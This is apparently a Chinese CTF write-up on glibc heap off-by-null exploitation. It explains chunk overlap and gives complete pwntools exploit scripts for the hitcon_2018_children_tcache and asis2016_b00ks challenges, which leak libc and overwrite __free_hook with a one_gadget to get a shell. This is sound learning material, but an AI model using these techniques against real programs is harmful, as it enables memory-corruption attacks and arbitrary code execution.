[TOC]
前置知识 利用思路 在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use
位被清,这样前块会被认为是 free 块。
这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。
另外,这时 prev_size
域就会启用,就可以伪造 prev_size
,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size
找到的块的大小与prev_size
是否一致。
利用过程 首先我们要用到四个chunk
chunk 0 #merged chunk (不能让这个堆块在fastbin或是tcachebin中) chunk 1 #overflow chunk&&spy chunk chunk 2 #merge chunk (不能让这个堆块在fastbin或是tcachebin中) chunk 3 #prevent merge chunk #防止和top chunk合并
这四个堆块对应的名字我也做了标注
1、先将这四个chunk都申请出来,注意merged chunk和merge chunk的大小,不能让他们在tcachebin或者fastbin中(不然就无法合并了),同时还要考虑overflow chunk的大小,因为要产生off by null,所以它的大小应该为八字节结尾(例如0x58,0x68,0x78···),然后释放掉merged chunk,为了保证接下来的合并可以顺利进行
2、接着编辑 overflow chunk,让他产生off by null漏洞溢出空字节到merge chunk的prev inuse位,同时把merge chunk的prev inuse位给改了(其大小要保证当前地址减去这个prev size正好能找到merged chunk(如果程序中没有编辑功能,那就将overflow chunk free掉,再申请回来写入数据造成溢出)。
3、然后释放掉merge chunk,此时检测到自身的prev inuse位是0,触发向前合并(先会触发向后合并,不过只要后面的那个chunk不是Top chunk就不会合并)(我个人习惯将向低地址合并称为向前合并)
4、最终由于merge chunk合并时直接找到了merged chunk,因此这二者之间的所有区域都处于了free状态,但是这二者之间其实还有一个spy_chunk(我把它叫做间谍堆块,因为它没有被free掉却处于了free的合并区域)
剩下的就具体题目具体分析吧,反正接下来的利用就是要配合spy_chunk的特性(它的特性就是它出在free的区域,但是自己是没有被free掉的,然后就可以打double free、堆块重叠等等)
为什么要利用off by null让chunk的prev inuse位成0?
因为当前chunk的prev inuse位决定了上个堆块是否处于free状态,这也就决定着是否能够向前合并(我个人习惯将向低地址合并称为向前合并)。我们确实释放了上个堆块,但是改变的是spy_chunk的prev inuse位,不过我们现在想忽略这个spy_chunk,因此要将当前chunk的prev_size位伪造成0,来保证之后的向前合并可以正常进行。
hitcon_2018_children_tcache 总结 利用知识
**prev_inuse
**:是一个标志位,用于指示前一个_chunk_是否已经被分配。如果_prev_inuse_为1
,则表示前一个_chunk_已被分配;反之,则是空闲的。_prev_inuse_可能会被编码在_prev_size_的某个位上,如最低位。
对于_smalls bin_,_large bins_,_unsorted bin_这三类_bin_,任意两个物理相邻的空闲_chunk_不能在一起,因为会被合并 。
思路 整体思路如下:
利用_off-by-null_,使_chunk_的_prev_inuse_位为0
,合并_chunk_,泄漏_libc_
利用_double free_,覆盖___free_hook_里的地址为_one_gadget_地址
exp from tools import *p = remote("node5.buuoj.cn" ,27393 ) debug(p,'pie' ,0x1029 ) libc = ELF("./libc-2.27.so" ) def add (size,content ): p.sendlineafter("Your choice: " ,str (1 )) p.sendlineafter("Size:" ,str (size)) p.sendlineafter("Data:" ,content) def delete (index ): p.sendlineafter("Your choice: " ,str (3 )) p.sendlineafter("Index:" ,str (index)) def show (index ): p.sendlineafter("Your choice: " ,str (2 )) p.sendlineafter("Index:" ,str (index)) add(0x4f0 ,'a' *8 ) add(0x48 ,'b' *8 ) add(0x4f0 ,'c' *8 ) add(0x10 ,'d' *8 ) delete(0 ) delete(1 ) add(0x48 ,'e' *0x48 ) delete(0 ) for i in range (8 ): add((0x47 -i),'f' *(0x47 -i)) delete(0 ) payload = b'g' *0x40 +p64(0x550 ) add(0x48 ,payload) delete(2 ) add(0x4f0 ,'aaaa' ) show(0 ) libc_base = u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' ))-0x3ebca0 log_addr("libc_base" ) free_hook = libc_base+libc.sym['__free_hook' ] log_addr("free_hook" ) one_gadget = [0x4f2be ,0x4f2c5 ,0x4f322 ,0x10a38c ] one_gadget = libc_base+one_gadget[2 ] add(0x50 ,b'h' *8 ) delete(0 ) delete(2 ) add(0x50 ,p64(free_hook)) add(0x50 ,b'i' *8 ) add(0x50 ,p64(one_gadget)) delete(0 ) p.interactive()
asis2016_b00ks 代码审计 程序中有一个结构体,_book_struct_结构体如下,
struct info { int id; void *book_name; void *description; int description_size; }
程序中的bss_0x202040
处存储着_author_name_,大小为0x20
个字节。从bss_0x202060
处开始,存储着指向book_struct
结构体的_hook_。我们每_add_一次,会创建3
个_chunk_,前两个_chunk_用来存放_book_name_和_description_。第三个_chunk_的大小固定为0x30
,user_data_的顺序依次为_id_, *book_name_(即_chunk1_的_user_data_的地址),_*description_(即_chunk2_的_user_data_的地址),_description_size_。
思路 泄漏_book_struct_地址 由于0x20
个字节的_author name_后面,紧接着就是_book_struct_的地址。所以我们直接填满这0x20
个字节,然后再_show_打印出来的_author_自然就会把后面的内容带出来。
p.recvuntil('Enter author name: ' ) p.sendline('a' *0x20 ) add(0xd0 ,'a' *8 ,0x40 ,b'b' *8 ) add(0x10 ,'c' *8 ,0x21000 ,'d' *8 ) show() p.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ) book1_struct_addr = u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) log_addr("book1_struct_addr" )
泄漏_libc_ 本题的漏洞点是_off-by-null_,会使_author name_的后一个数据的最后一个字节为\x00
,如图
此时,0x55eae550f100
是_book_struct1_的地址,如果我们提前在_chunk_des1_里构造一个_fake_struct_,那么溢出_null_后,该_fake_struct_就会变成_id_为1
的_book_struct_(因为到底谁是_book_struct_是由bss_0x202060
处的数据决定的)。然后也能打印出_fake_struct_中的_*book_des_指向的内容,而_fake_struct_中的_*book_des_是由我们自己输入的,所以也就实现了任意地址泄漏。
接下来,我们该到哪里去找一个_libc_地址来泄漏呢?并且这个_libc_地址的指针还要能通过_book_struct_地址计算偏移量得到。
我们可以==申请一个超大的_chunk_用来存储_book_des2_,然后_mmap_内存后,_*book_des2_就会是一个_libc_地址==。然后把存储_*book_des2_的地址布置到_fake_struct_中即可。
payload = p64(1 )+p64(0 )+p64(book1_struct_addr+0x60 )+p64(0x100 ) edit(1 ,payload) change_name('A' *0x20 ) show() p.recvuntil("Description: " ) libc_base = u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' ))-0x5ca010 log_addr("libc_base" )
覆盖**__free_hook
** free_hook = libc_base+libc.sym['__free_hook' ] log_addr("free_hook" ) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] one_gadget = libc_base+one_gadget[1 ] payload = p64(free_hook)+p64(0x100 ) edit(1 ,payload) edit(2 ,p64(one_gadget)) delete(2 )
exp 只能通本地,远程通不了
from tools import *p,e,libc = load('./a' ) debug(p,'pie' ,0x1297 ,0x128B ) def add (name_size,name,description_size,description ): p.sendlineafter("> " ,str (1 )) p.sendlineafter("Enter book name size: " ,str (name_size)) p.sendlineafter("Enter book name (Max 32 chars): " ,name) p.sendlineafter("Enter book description size: " ,str (description_size)) p.sendlineafter("Enter book description: " ,description) def delete (index ): p.sendlineafter("> " ,str (2 )) p.sendlineafter("Enter the book id you want to delete: " ,str (index)) def edit (index,description ): p.sendlineafter("> " ,str (3 )) p.sendlineafter("Enter the book id you want to edit: " ,str (index)) p.sendlineafter("Enter new book description: " ,description) def show (): p.sendlineafter("> " ,str (4 )) def change_name (description ): p.sendlineafter("> " ,str (5 )) p.sendlineafter("Enter author name: " ,description) p.recvuntil('Enter author name: ' ) p.sendline('a' *0x20 ) add(0xd0 ,'a' *8 ,0x40 ,b'b' *8 ) add(0x10 ,'c' *8 ,0x21000 ,'d' *8 ) show() p.recvuntil("Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ) book1_struct_addr = u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) log_addr("book1_struct_addr" ) payload = p64(1 )+p64(0 )+p64(book1_struct_addr+0x60 )+p64(0x100 ) edit(1 ,payload) change_name('A' *0x20 ) show() p.recvuntil("Description: " ) libc_base = u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' ))-0x5ca010 log_addr("libc_base" ) free_hook = libc_base+libc.sym['__free_hook' ] log_addr("free_hook" ) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] one_gadget = libc_base+one_gadget[1 ] payload = p64(free_hook)+p64(0x100 ) edit(1 ,payload) edit(2 ,p64(one_gadget)) delete(2 ) p.interactive()
roarctf_2019_easy_pwn
npuctf_2020_easyheap
学习与收获
当不能改写_got_表时,可以覆盖__free_hook
里的数据为后门地址。
泄漏_libc_的一种方法:如果要申请一个较大的_chunk_,_mmap_内存后,这个_chunk_的地址是一个_libc_地址。